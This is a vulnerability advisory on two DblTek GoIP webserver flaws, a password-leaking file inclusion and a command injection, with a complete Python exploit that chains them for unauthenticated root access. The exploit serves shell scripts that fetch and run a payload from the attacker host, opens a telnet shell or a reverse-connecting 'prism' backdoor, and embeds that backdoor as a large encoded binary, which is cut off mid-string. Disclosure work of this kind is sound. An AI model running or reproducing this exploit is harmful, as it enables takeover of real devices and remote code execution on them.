VULHUB ™

## Vulnerabilities summary ## The following advisory describes 2 (two) vulnerabilities found in DblTek webserver. DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.” The vulnerabilities found are: - Pre-authentication Information Disclosure - Command Execution It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution. ## Credit ## An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response ## DblTek has released...

## Vulnerabilities summary ## The following advisory describes 2 (two) vulnerabilities found in DblTek webserver. DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.” The vulnerabilities found are: - Pre-authentication Information Disclosure - Command Execution It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution. ## Credit ## An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ## Vendor response ## DblTek has released patches to address those vulnerabilities. ## Vulnerabilities details ## User controlled input is not sufficiently sanitized and can trigger Local File Inclusion. By sending GET request to /dev/mtdblock/5 an attacker can download the configuration file that contain admin password: GET /default/en_US/frame.html?content=/dev/mtdblock/5 After we got the admin password, we can send a POST request to change_password.csp and trigget the second vulnerability. User controlled input is not sufficiently sanitized when pass to change_password.csp. An attacker can inject script containing malicious commands in a configuration variable and execute it. POST /default/en_US/change_password.csp Content-Type: application/x-www-form-urlencoded Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)### level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###> ## Proof of Concept ## Unauthenticated Remote Command Execution: ```python #!/usr/bin/python3 from http.server import BaseHTTPRequestHandler, HTTPServer import os, sys, base64, bz2, socket, argparse, threading, requests, re PAYLOAD0 = '''#!/bin/sh rm -f /tmp/y /bin/busybox telnetd -l /bin/sh -p %d & ''' PAYLOAD1 = '''#!/bin/sh rm -f /tmp/y /tmp/p wget -O /tmp/p http://%s:%d/prism chmod 755 /tmp/p /tmp/p ''' class Handler(BaseHTTPRequestHandler): PRISM_PORT = 1337 TELNET_PORT = 23 def do_GET(self): if self.path == '/0': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() payload = PAYLOAD0 % Handler.TELNET_PORT self.wfile.write(payload.encode()) return if self.path == '/1': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT) self.wfile.write(payload.encode()) return if self.path == '/prism': self.send_response(200) self.send_header('Content-type', 'octet/stream') self.end_headers() self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT)) return self.send_response(404) def log_message(self, format, *args): print(' -- SERVING ' + format % args) class Server(threading.Thread): def __init__(self, addr='0.0.0.0', port=8080): threading.Thread.__init__(self) Handler.HTTP_ADDR = addr Handler.HTTP_PORT = port self.httpd = HTTPServer((addr, port), Handler) def set(mime, data): self.RequestHandlerClass.mime = mime self.RequestHandlerClass.data = data def run(self): print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname()) self.httpd.serve_forever() def stop(self): print(' - Stopping server') self.httpd.shutdown() def prism(host, port): pyfile = open(os.path.realpath(__file__), 'r') data, skip = '', True for line in pyfile: if skip and line != '""" PRISM ARM V5L\n': continue if line == '"""\n': break if not skip: data += line.strip() skip = False port = str(port) bhost = host.encode() + (b'\0' * (16 - len(host))) bport = port.encode() + (b'\0' * ( 6 - len(port))) binary = bytearray(bz2.decompress(base64.b64decode(data))) binary[0x7810:0x7810+16] = bhost binary[0x7820:0x7820+ 6] = bport return binary def getip(host): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((host, 1337)) return s.getsockname()[0] def get(url): print(' -- GET %s' % url) response = requests.get(url) return response.text def post(url, password, data): print(' -- POST %s' % url) header = { 'Content-Type': 'application/x-www-form-urlencoded' } auth = requests.auth.HTTPBasicAuth('admin', password) response = requests.post(url, auth=auth, data=data, headers=header) return response.text def attack_leak(target, variable): print(' - Dumping configuration (variable=%s)' % variable) config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target) m = re.search(r'%s="(.*)"' % variable, config) if not m: print('Cannot leak variable %s :(' % variable) sys.exit(1) return m.group(1) def attack_exec(target, password, command): print(' - Executing "%s"' % command) argv = ', '.join(command.split()) data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv post('http://%s/default/en_US/change_password.csp' % target, password, data) get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target) # Parsing attacker input parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog=""" Available modes are: 1 - Use telnetd on port %d 2 - Use prism daemon with port %d """ % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address") parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)") parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)") parser.add_argument('target') args = parser.parse_args(sys.argv[1:]) # Get local address based on target address and routes myaddr = getip(args.target) myport = args.port # Start payload delivery server server = Server(args.addr or myaddr, myport) server.start() try: # Leak ADMIN_PASSWORD password = attack_leak(args.target, 'ADMIN_PASSWORD') print(" -- ADMIN_PASSWORD = '%s'" % password) attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode)) attack_exec(args.target, password, "/bin/sh /tmp/y") print(""" - Use these commands to wipe: -- => setsyscfg USER_PASSWORD= -- => setsyscfg USER_LEVEL_ENABLE=0""") if args.mode == 0: print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT)) os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT)) if args.mode == 1: print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT)) os.system("nc -l -p %d" % Handler.PRISM_PORT) except RuntimeError as e: print(" - Failed :(") pass # Stop payload delivery server server.stop() server.join() """ PRISM ARM V5L QlpoOTFBWSZTWao5rFYALq1/////////////////////////////////////////////4EoPlbVQ fbvZ4Cjj177T23K2sRvtvTbWqFffB7u+tfe+cn3p9908PDyTG73rearvY8vXvHvd3Z7vM+z7nq2b 763vmO+e870oW+M+urH0+i9085pvexz24b1m3veW33cV5s9hp22lruAbfd9ej0t4766Sr0HT0FJP T3u+719a1vV3TuMdvl7XXNom09RIAC7uiqY14jrvaUd7dy870rvQAV9e+nwM3zBRVCzuS2oyeg9H eePgM+3auPoPfcHBqaCAIAEwTJoyaABMCNBgjRpo0BMmA0jFPTQ0xPUwRkT0wk9NBqn6YI1GmmaU 9NPQCh6bQaA0amTTTKeIRmTQaTDCaNTxQNTEAQE00NJgTQE0NT0T0TJlTPIR6Giegp4mmmimn6YV M8iajyn6p+j1Kfk0aU9qmnhQ02xJPSP1R7STT1PFDMUPUNNqb1JnqR+qDamg9R6mQPUDIaA9IBqe gQQImRqYmCQmp5tQyE1PMk9EyeqeEmyT1PTRNPJNMmnqNk1PSNHpPIRoA9T0Q9EaAeoNDR6Q9QAD Q0PUBpoaGgAABkZD1DQA0xIImgIEyNSm2aDSDQpmKekz0jTJo9U9RoNkagbU9Rpo0eiZGT1DE0aH qNAAPUaeoAAAAAAaaHqNBoAANAAAA0BJqkISaaT0g0aAAZDQAAAAAAAANBkaAAANAaABoAAAADQA AAAADQAABkAAAJERAQQARgg1MBGmTUwATEwBMUnin4hqnsmVPMjCnoaEJ5NqJ6ntGlNqeo9qm1DE 08EQ9NQ9Bqe1TT1D1AeUbUBkAAPUAA0MTT/4bLWfxecu/STjt9fuPPiXeJCiN/E6QgP45AA+sKJL h122VpinzmtodBaWhDwIexpSeV5cKT4FkB+uxFIW77ytfD6jnet7f1/f87k9JgjOZ4FCNeAXKzwU TFxmkvZPZbaDgWRPJgI41nZrKlYUS/Sor0tjt8FAVhwUEUR4cw7G0tkDsiCeI0hldCPiT4H77Nj8 6bMsfdCWv77IB/8YwxAzMRHMjHiQGev0pVhvQrCUBpIBXpWmAz7y+OtQCmApiV1dvt6eeTavA33f Mqy2x7jvZt7oiO6QzBHs223TrIQjMOPyzuIhiy5bubvIV67Ggg7TZMjQvrnXKyEUcmjnpXZRe6d3 dYrw7vksKN7Be6tVeUd+b82NM+AeAlieo37lV8eh6fFaqATUvSaXQzOJKg6BoaFOoj1MxKShPjQN LIezyWp5jeD2q+fwvUxKFRQaYso4v9n/BxAzwrTv5biYTQWALw3ADsCC2H2H3vMQJ94wMhIw8Pkv LbHUlhGfwA0NH5dTiQrt8cRHRqKVyxeSZUti2CUMXhTIhxdMuPCoeLjkDAlt32O4tSva453Gtomy 66QGYoppLStUjY5ZLVGY6mTFZeGgN26AhMq/ptq23Aetnt9ecaeb0lC6hdVFmPfXfQ3rDwJTBP3P iVi9KevW5JDfTI5Wa8zPY2cctXaNyaEQZyek/kkDmAkikXJyO3l1yon1pcotaGm4ab8Pz/gKoTta 6+9Tm4txq6rCGufZ7IGBjGNSPaSBSMRu/15gHrh5JA39SBaThblDgUJtTAxLbZbStCzd6OJufTXj 24S6xVKu0svX2JIkMTFGZie/l+y9hP+ygSp+/yt5BQQA9eMMP22VrPIX6ZGXlVlBZ/q1p29cgF2b w6aAw1IS3IhHWsDzHmZ+ow0EXdBLfls7dxzWH4NWB8neR+JRVs2/R22Y9zDYToKEu7K7w2bK9pA+ zWjAFI0kJ1k6PZMSFUCRxZzejm16tB4OD1jQPvFAyIjjH4sBJC8zrz/TygGP5/rJyVgewL+mU4rr asZLyM8TP61fIamu7Ltkazdqi6jO/hE9WLbwnrJGIwIxxSxRc0gu5K9rL3qljKlFh1df6+4grSER PTLgEPuFkiC1R0EXeg5/pJHrKOYECAHqEAcocrg5GkRtT56achUWPYCpcn0KgQXcQpwUCJogD4+9 qEhJ7UC9gXgn4rCWkIgQ9QuyCkw6u/q8A/SttHYTNsrBxF5Kitao1NbNh48u8jlkmQQrqDPTM5PD Bqur0uqbP0fBQaDpJnL9/LyJVbNnzunKJM4lTQhl0UZLHpRKl+H4foQi2tIKbFOY1+D3RLe6d39E edgwr4kyZJQUvrZ5CyELHqF1SHIERDgFP0AaER2JwsEU1lYzplJTXNyevIcJ6lKQrsMesFo1pw4T woVsjY6NPzanle+sbyT+Femd4uMdX8+FvfzDJkYLilSPMcaxH+Bkwl5Lm+fYK4b/qXisCGrcK9P7 eSuK56y2emzNJ2RYlLDYZm5bk1qIhZPx28yWqs4WHgxA1En4kC974k+LvDzRGkSYtdn8PxYDXS1m gyE96JtJ5MVNZ2cn3yTE08OZ/Ow6id0M1/io+83vN1B5vDlZh/FvOsld9m+7kfL6Stw+zReavVdC A//E7xbvdt+h1nd+Jv/T5lN1/xfG918H2s/wOuhC2YgKtLYkX0rIO7eo0HdOxs6v7alVzwvJZYwy oG0lXt+FQ+zWAbq0DH109tIL4p1nhyr7Bxkd76uIaZoZoDI0ru9gDO0j+ZHmTb/XMJ87GEGoMkCt ILAikkVQIpCTCoX290vUa7T9Hg7UhZUj2L5zJ6RnElQaBmNjxHwPPCwtj3skULiPeqPP094opzY9 E1Z3TS5BuPEYRHsqWxoLbIFvltsDe+NbAQD6mq40/PVh1r3HMui2xwSmkcmEB0RhwXCGg9/veafp uugtaR47EJQwQhtLcy707tdTQ1Pdey1fc4+V5Pk5Q7/ejhHtWxxE84dLccKTKNFzRzlEM+LxhdDC h5g9aKgVnR7BeB5jzfvttJOQGq+yilQo0KnSPiZxIjiIufUcxW4swFRMnjwRUJPt5MZFeQ6PcneU cF8kwyHYnBtuQ2u7HKt8llSBtUbnV3fa3yOMefyPNn7fiaNfraUi+QwOLz/ocb4lKJC5XN3HyIfK A5KBO9txASV4aMIHsH5pd3Qc6iJr1HdqVBgZZ1OpARFOUkyeR4dQw6gpFUmSgVrOI6tW0Ahs19RY qcioIkSfLpVRSqCrtdeb3DD0JrhdVre1/16ujdzffLK1iydz7VB5UgCko76GOjUu4yZ6ZGy1tauN KWUsSZsmtsz5YuyTfJ5wOLphfMwpHacEDJgmxfyW+e4PWkfk27Psh673EPK4J94/w2Bs/o2ZnRfz fqfyfp1DxBiesbubY/hxkpVTE1ZA5bOwHIcxzRVVBLbZMAQ+SpkXJaFUKypFKzWiZG3Y44VCFN0A LB25dLqvf/VOtZ2FXJz6diTBTrim/7DFhAi8/qR7rGDbASlKUlPrFGGRtNJo8iZ1QMDe3ZzenD49 A6Ot0D1eT2nPKb4zcQ2FyE5xbuu3TQBhf099RcmG31Oz01yDi7zR1jtHGmsOyKOphuB5cWgGjlBg 9dXad7zlj3yCqCeieBSPMkitJq1ylNDKC8t/pNG60B4TQoaPGsUIbJwhtC8VhTx8sobqzHKy6pDh lF5bRQdGldodH3RRaTL+J0XEXHphZCyOMXmJbFsPYej19mx1aufQEDsTubhXWkZtXfeBPvRih027 p3MBnf5Le0IOyqHRpRyZhWs8JfMn8d8RprBjVl0cHCiaW6Y3yJQBERVyWtZrCEp+zmaxUmvD49NT 2WB2b4jPGZp8Q2eF4dUH5reGlL0IF4OxD0h9+2ISdB5RjxSJwWohoaps6AEsxhkrSaPjnKZLqVSi GzIGZaO4QlEKBCRqjiNMZQJ5q9+gwNcvReOCpg1KuflgSMoOvg570Sp5sIInnIRTfXIIDouuWY4C cQ7S5REcsjyRngpzZGkjWRpyyLwSgcSWynlw1KDB2jo3bxSjZzBlzeEAvmatNbnaNgb7WP4MJelj re+ydDKRqXEekOZJERgeUpASJ+2RQLj7xsPWTnUDkchx93IQYX+Wvh8BZVjqFdIH+nqOJqzRQp92 X19ZIFX3mwU9y6GnfHTCHsxVRYQa4IFgI1AV4s+nC3UD2AvhhLhZ4XQb/0TdDhBdBiIFLFNJPtxu FSCZbNd1lnuNym9dpNHS/cIynzSA6MZ0ozmlTpBZkZMHHIBGHBC1oCGECvgq69k40Xd8Bc2a3y0Q jeRAkrypZG06xO7ypk6G9GRhafu8vYs61hY12aZTMu7w9Cfvrb7njHiktbk2hSMYlyCIFGh4L8br 8Gf07Wn1PE0HowFtHvNb3EUdXCfwGXWzwljgd6RgAkXXjaaDw9Gy82zksuP7mk9hPvFQw5a7HuSo jGyRJD8pAhHf8xn2yHPIDGICURuyPb3B7jHfht3z8mjWh/vWm7/tQp4vlRvIb2eUx2/+Ht/28mjO k7f1M55MgXkWFanNvq2kNxGK0gsC96ccGXnA5ivT2XlQkM8310JK5nQYf1GkkfJr9lz+g8+fqf6u vVZN+O4d00Jsn0HZSk7Mlsj3/WwurwmP2J8L60tjk5Rlj28vY/aznxfRm69nd/+R83Er5v9dlt30 awykqhLraPoaG9zfk3EJmQJZZn+c4TCWarcuCpv+IDF67Ymv12oVBr47TdX9DTHeYU9v6DNnaQeu OdGZdEohEUGWCAQzNIxGhRuGZmwJsnm2kFuSwi6Em8i3YNc7wkTSRBCmHoViQqodrGL/NKMFSQAJ DGZMxZFgvaRwgM119HdZtBq0LAmWKEOWJBmQrKZxEGQJK3xa575ijVqL7hBVNhalKRDgXYUZowRS DZ5ejunVGdMe9vidWXoZRH0STl3SAsRAR7Q2uh84vHYxJs/Yd99T8B+h+n+HelrXDD2iMDfg/Isg fs0Oi6ROqqq1Fa8rB4XES6CW874PZ9rZfDM9v9rIb945vnYFTCCwinffRrWrz3sb9P1aYYDKcnBF Mov00oz2yV4DM97PmLDks+4Uoymi4lwM3c6r+1+ovwMv2/8v6XlLb+AQ8olKVb5RfRwFYfX9n21Y 5LFBx9L7jKVuRfFSr5EoYf7qvh+/LrWGsn4JA6H5FI+XSdx2fxfMtaEKroWNd76UQE3hJesERWJw ALMmPVOLJhcXzxr598xt0W5iaSGHQFkCpIF/SEKMgoLJBsFLEvIaJYB43HJ6Siiu1bSwm2yGVrWa T48OHfwbzgR/ERGE4UlTRiKWSuPTMLEWLTXgrCcSPBxDi3u04rfJi6M1yh7+9ybE4Y4KSxki3fQw 5eYrJr1WzYAi4TubBbXzY3HBKQWlWtdajuLjnvRpBFoo9Q80u7u7+C+XNRa/1+faOi/awtLFYRYq IirIk4r9/4+2ux/n+quZ/v8LQVggiqjDHY6hP8+6hzP+/9UYubjmXE5ZmMZuEcYc+WsTuWh/axLo CJekuTE8J6mCJHlpyiEPV3qGBDGQuu71c15AhRypczkch3conJtmsRZekTSfZ+p/Z+U+ptsnTaSE Ir8w/Ny2DBjvnF1/5lE0IycU5qobjcoCi77a/Ysxl70EMhZqQ98fVM7WnoyLs3g3k7KV7tmg/DYa hbZtRdjD0Mwx1uIwSwq/CXdzGNwhJJAwxHyp4d0UraPCRITyayvsz8FL/9LI7f4uKWzTsalib49N uNXqUWlbdrSBzqnq4/q622sWEdqaJqZwR6oMEHKK6QkfNlfdpPJzDz9dxJ42b5k2+i7vaaZX3cPO +Vzs3teVTTpcs8Y288g48uCQ+ZW1S0GWqSJMmtJblg8wYd/yu79mhQRsiik/bPk88deTRHYNSy1g 22Yp+EkLnXU6Pr+m8ayp90dvjpMT5Zavl9NBSRFHncc26gg3Nms+vssJIuQj7g0zANkWGGwyu6ET gX5TZMe1A7fxddj3K8Hn5s8o4od3uFsoGalExEc9ucUag06kYBATLr1s7HYmH2VgBxxDMEmR2UCZ HTfIbVAG2K6s83SfX3B3TszmbQh7CE2a/UD5wUHiGVsI1BhMe5uGdn0MSN8iy4xvFBziSicbWIDL xQdjPpGTWxOVzM0i3tByhfwBwkEz4ccolAHadBtVlYXiR9w8Y1BbUw/rpWzTOVbFOQwN2OxaeiM6 iIkdBUy2INWRH2+gPdqKeMg2l9DLmxelznhgcVLjDBYIGitmpAsFPOcxODzMHHQi6lVKtAMzAx+9 1U4MOBwjf/e5kov9XFhXv4cCETzMYZq8cA66Ou+CtDuZ6M8SBFgYDU4tilWob1F2sdf8R/M+H5Pk pdmOuzXzZTfnxFnsaLHPIcRGTL8OapJdXS0rainUWmBYEwwwwJCHilKCSZIyFHOw+W1phpO+vfme 8Xux1rRvUxSOZukdhllRVIhAl2EFl+wu0FcS7wtk/epgLnw7qfyvnny98OzF8rgxKUFdmO8vCYO9 lVH9HlXl7QrVhn6KSIOs6CK55KxROjAb2HAz51AMYK2TvUTZGO24g7ayDunCWzkRkuniMm31Ze6n ZanRXWNPx+94tz51h8dxT1tbswIkmlOpSE5z05ApNQfH+rQ9WnDdOcz3UF0ajnUcVk92rUEKIHLl yRfDBDdHLOq+L0XR7b7WM/LtmwFMkaNHo+veZcjwcZvQTqGFA2bX0v0sQJ2SQ3od2kDh26yaE7J4 u9lPSXmRQ+M3XZkYgixJ6kty5AhAW9AoGv5nm9vA49LUHSM+DczHh+/8rteRgjCCeJ1l9mavg/kb jsOCya+zikrcJonFfAiu4ICK41ohISkIWptPblVuN83mnYEdExDMRFCF9CrmN6bzxtHjVQcy/pXL Q6MsvsyFlyPJxLzJQliXH5sdtjxp1Xj4F8vDHFqSCxHUl6EbMk0y9elZBA6/gEujzbPt/F2l9zdT g6/Wy5YMMoU+kOM+15749CEPZ50km/uddE7SNsdk5us7vwpqnzt7Jmw3uzKEWdXFOzMUtLZ95t5V qM3wmdTbuChVqm115289gLyo4/MroGhc6Sem1rDr5xyiBnyhZLnFpzxz3Az74VRbk+VUN09lNJoi lUGAKwmgrWAim7q+dtaLE07EZgREQIqyPJzg5DgTdmy9g6sPr7pAZ8mbRyEHDDrRZUIW7b4h6bBi ku417jHbVueTkXEMfNN7gMGIVBxlUV+DtiHPx73Yy4jJD3fRQNY7TnviMZbWadDKRNTpK1svtlnD 2T2163ridMFk7S6qLKJEgkPCDBZqJAcU1OgOZove1SGShHSR0xFNAjKpFfwlbTbre1H0v1Zq82ef qrmfzyihuOgRM8eQgP6KIsjKxUtbIjCzUUdD6LHUQEO4P7KUTv4Taoi/3rMdT6zwtYcLN3nsJJ1y PRDmDDWbI8tret3cvCG3XMllrGrWljAS18BmJMz05u8m9ethTOXUvgGTf8HcmwpC4Bl5LfpMLOgg lyuZgoZBc6jU1kVeb8PWIDhKzoG5uLai3X3WI123p3ce+23NI8ytrKWdWJvjToT1Ui2zjZ14fk6x bP0wIhRnsosMBO61ze8QpWgSWMgnMhztkVAsDillHU0jRQ4B7RGVAqJUhjWWA9O2fsB3+CMOgnUl RWiBLJtLIDDcmpA369d4lFWaQSM2Pl5p/n+lYWoO9jhyRoWxlec5n8rD4cV3+13j6jNJhractnOH U5yVNxaRCMrO3PNDb4ntu5IN6NSqiiAuulSV7Tc7O1/r3y3PZLYaWQh5saaIXiX3ORrGFk7DFOYZ VpD22u8qzkIWRV4g9DV1+P51G75VehUoK1zRE3q9TaGog+ogqLFdKW9FqvcyMb+4YD8nbt6g173+ euziyChyAFzAb6zBErQ72LWIXmroRZOBec/w7GTcTDCehw8b5OsG9i4Ukh1WGKo7bSWKuUa0OR9K Mrr5iw/2/S874f43ttG+BfJPKRoopzzDHnNS7KQqhcnpsYWW7WLTaMkmSqy/M+F3+auHQ7iAcrjG hRSZPc+vijMq0LdAa0t0HFBpkZ3XHUzDYOKZ16sFzvdvZ9Xw9F58PS8iHP511x1zG6Mu5KwIQ5eO 4Kwr1kzLB3GAYZBDhu5eFjOUUJs3srXMEukXk7LAEUO9WAsERQ+p/FEv3/0L+F3rrXhkEOjY87kP RBFFtmDvS435u1LOryUCA+ZVZwHJzDC67ZBZ2qxdD0W63HYxd/uOzkdFv910xVFOLrntUnL5/urh 2gRzDISG0DZbLNUzpGHREVMemaFifI7MIuTVYXFHBF4pIrgvI4aQMjHJ5/0ts5iWyD0d729F0q4C dTkSZIZMcURH1Lcuy9heqwrGw5JrKPyCHYz0Sa69R7OrLJpY4nUogcc3qd8+7zv2m0XeD6NMmlZ5 u53mTbZjKQeusSD1dPhURKL0FA0b7xTzYhmm87VR0THM52Z9qna7W1YdFF/qcn8T1f43b/Y4vqeX pPxUfdkgnDQkh4XANEg8OvETnRsrAfyP5vIcdqICcPBlVhCwzT94dYARvz7jHWiXgkAcsGSiY9NG BGSD0ouSc6rfkIF1Vdnactb6PA5bhepx3p+5eX0heoAqhBEFBFSDaQ2JGjv/2ZAWlqPT1uVK03Us Fg1vbRZZ+E9kJsMzUvJSpjEuiVbCA25jGIbDeSE0r7YJZRxAmJX+8jDukFUX9I3OvDDXTtTWy7qw kHdGu8+l/BzAdbE6a1yXrLv7+y83x6SoMZimTM/EIQPiPEAWWF8KTQaJjKwyBIjSx7I0YHXvlTwG v4bUPpn5/y2VGt3rZjqDjo755I0BPmHsPkOv9dsBXT87pTDOQyBX5B2VZttc9Fn4S8VUEaDcHYEW wOO4XFkJ5tBRuIhQEvnCOb7hukUnfK7gSdq+W54IZbREqStlagfhM9xUNd65tZ5ipxJWSqKqwNcU wbi7+MiBNUYNNI3cqCeA2tEkYuZmLIItHkMsUwBoSGcHyh4+h8t25QSDP60qoxO3gxpGDRmtvM0D aXXzvqvch/BK0xRNcf4eqeo1p0zvRsNZCSZjH0vi9blB4E1vvqV52Fa558OK8huZLXbCgnsdWYxT MvkQWCVkDlezJnvWnUtw1cm11y7td7uc4ngcRlp5VPHr45yvPr+vTcyBVgLicyCPVoPliDhUQQMc EPtMlaQsSVsokohFkRBRTA5xXWt1guSrhoe5wbMWqtYHQ2Ug5JQIWv7zwv7+/S8k2ADsnm1p/0w/ +SF5EI+FXNQxf63sl9r6OwO07XnK9mrM+WwYQl7tKGxppnFNQZu3cFs7CDTKDPbTk4Qp12zVQcUa +iqyO1I058drX6+HuHSFsaRGDU6Qgr2GhBL4MQw9W26W0X/kZgp05ocxg4zz3VcLzIVDc6aV3VPT xjWvsMApmptPZqBw3mN62JSUxBJLtlObjH+P3UraaEUFIEsCw7WY2s1taNtax5CDc9NyoC3DyfLY F03fjD0Cg2TaZDNRl6871LW9/JnyGfSfP25X7fb4gNQSUsrALe1YihSCOdAZFIv8VVLKsllN6oP8 Seif4euazjV6PqVrla71B8bl76Vvo2vTSTLLS9v7355s2T/J2LOTW0Up7wBZNXNQunXMoGX6XOnQ RyBu5AIbgoKtNJiE6d0CoHC2VVBNyXtFY4FZ2wm15YLRlDziCiXqGcskM84N+WYgUI+DARtxRGIP SnsjYCi8S4tOasIEgg2QCBvRvIzggSCSOx6CvD912ethPWeu9ZsrIBYxR15YRWsossrQj9CLHLDS 9QgOF+x8hTfkvyWk9pSzr6Ls+37Tt8Ppadwttrv/PgRViVncZInJEYPXMUVyTIXUEPwQlirwL6Hz ay8yVonKMZNfAgB4HohU9OAiANfb7p6vn4bt/JrL1ymdVn9izVT16+i9nH5l1SJIePsT02C9ZMef 4fbrmnpALEAhD47guCAuwRoJDYWkiG8EPaw4hRJgjfZ+tVosFnpA31WFr3ijK2g4xzOggY10QSc/ p14+xHJjHCQRgFrtilTQLe8CIgfYZd9q7HJ5DHU8QhpTZS5QHbkrbIKUkzTNOYR1WaMAYgSYZREy BBYWtp2xtfExuwLgNs70mw42hQ1vS3sB+pmDLQ20kxDNwl2UrhDFvkoptN1gugycW5K0rT1xckPN Wu6rboW9TW8xDbf4yPZpz81o/h3905fVHN1Z+395jNJzQaLPuhjPnYeFcMeKGQvnzi8KEr6GHJEe NSnAFKivqkpkkqcAkqnFTVYbXnNdbxOfepdaHePaKkIsq84QQOWk0+OR4KBAjNV6ElJaQ5ZphWTP A5a4/B5gfzjvSP4FgbA6jzHLIcGC0ZZoeFpVChr5dcx+npVXw2httjGnb2kIkcQRRYiQYgIrFUGC KSIxGKLEYLBFvGkBiIjEgoCxGIxQFgqxQWBUyl8Gy3Su+Uo2NAQ7MfcC1S7KWR7JFhPy27EL7LGH hIMViYbVn5ZGJy7QekvQulDncayE40ouoMFa6gteCJPgOR23Ukpkthyl/rS+t96p6nT39y9S4utm 8OLa8/FYyT6bQL+6Is+Xgeo9/3MbWGfE5iEAsw/GmOA6Lt7uiGQEwj9uj47ZUoam937t/gMdqhDb 9WkZSfgbCkeVpaM/JPmJJJa2njsZozcuMzlmeOZPFqTtewr4hyBn7CSSSUYPpz599g39Be+WrSaj YPw2hSD03mr+pjFn/fvkOK+VieAixLhXQVKN+/Kmck0RVgWiR8K8h/q6W9u7t/p/q/PhnzI2B87t hssjQpvbjOPYuJrknlbtqztAo3h+UOF5maTHwKBL05N+9xKvbWyso8pedc62OIaMhpjfukNg906Y DAXYs18XKGc+vyysHihF+wnRfjpn0YWyv9/mmrRQsQhSgV8QEXBoUDeIA5VbND1e2FoJJy2aMpo0 2peuZnS9ECxVBd0BYXkFGBYvBGiED01SRYpAWraFDq12U+YuamJugZodbhXYbqHnl8KYESCnG+YR AdJDELdxIsROeJP2EfYy+k2UqhebYV1CuLFXmpHNQoIBBkKSO2CA4gHIjGslkHnulXrOPS306AeL HUWE8U9f2NII86yy0urymqBXTGtrYZrM0x1VWtZvgKPeS7/E1F2VsqXB/q5xWj+H1gDxl4tyMGN8 qAyqFYAa5AR0LIggHQVpi88bRFrvZ/7UPpzddToMEPWVlne2cbXYddO4w09PUduvuT3/ezVt05U9 lDT1EDkQmZdX3ULkcnsosypLqaUQF8pnFmCwOLiCQ+JAdzwRmOMk6iAvaR5Gw4PckKnhJhnYmt26 onHJhnrZzY2TJFAa2CYvV3m+CZwKkcQ2r0Ry0xFtlK0+OSlDuidxWxm/Iasl9+g4y9a39pPea+RG lTyZlyomxcYAdb7kGH74czDg1Uq289AQnmagHGFhFH8Lm8C+vye39oqXJY8Xj6talHmnNniaDaht pnGun5Gr7mTV8m+RF8rXRJy9rU0qa2ovf7Y9ei4LVWX7pgKWY0ss1+08rRDNHOq5q9dB5Ghtb7bX Y5UqHDIpFRBUOPro8fcSDURIrWkL4zu30D8cJ4DhdzX4O/4MuKmI9716+iZF15dlRESRVpeVLCm+ LTdi8Z6tgzLtosaY+0/cD64DXvYhbokvhN1bEBfCP6LdZwkWuGwETSTApjOQrl/Y3dclef4xzAiE jw2pzlDHvyusR9jmRAjtRYdus4A8rF0pdQbMGDHiIMjQLhSTnX2V7pIVs+mBeBVNBzv6vRLpY3e6 STBlXUAYKQs6zIFWzJXOz6XY4dTy8kxaRMEdSgAPCw8jk99PXce6faYPzD8an1UkkrLNOV4R2BkF 5AR5EZn6ZUzvsd5Th6qkdhuBbCH8/zzRmTMVMM+IV8arnYQZR87PI6O4RxZXkDc7PGPKdfXs4nI7 g4qMKtfT/u2efzvP4fMRw2lnzcaQH9FoPjMXojIrCCHP1G4U0hVrCX/AYUGBZAdpWiGNEp21cBRw 1a02pZI1+j+ZqdNeb+pySk1z+ohJLioSS/CPiJm7tjHB9AIAZojZx7dGo1SnpdgW+BGG7O3fHROy QiZ6xdQZoo14/MAjJiyfs440Gjc5nZdEpOMbNHb6g5ifFYD2itsIC4EJyuzIpAhAgiC8L/EvcMcd z3AiH96bY/EHHGiGiOgIid76ywkxYKN4gMXHCyD7E7HS8WSmqooGfHolf5voxxe4fdPhsbpydInt baV0BV7Z52Du2Dd1ODbc71+CoFcxQVXZy49I3hnsmKOIEch0aJOfBOACJfE1ltgaB3m6nIXI6SC1 i/X7gWaO9IJgRCK9QkQToKI0mI1bDFhJqtx1v6vznW04fRetvlTMNczSgYA41PWHhCVyJFeHViJp eUzAJ9lM0kXRpoZl4RmWAlLqKvPEPg+F+9aKrZMMuxd+DwPFMPbCdEW7WcySWu40K6YFtNsmOWzf 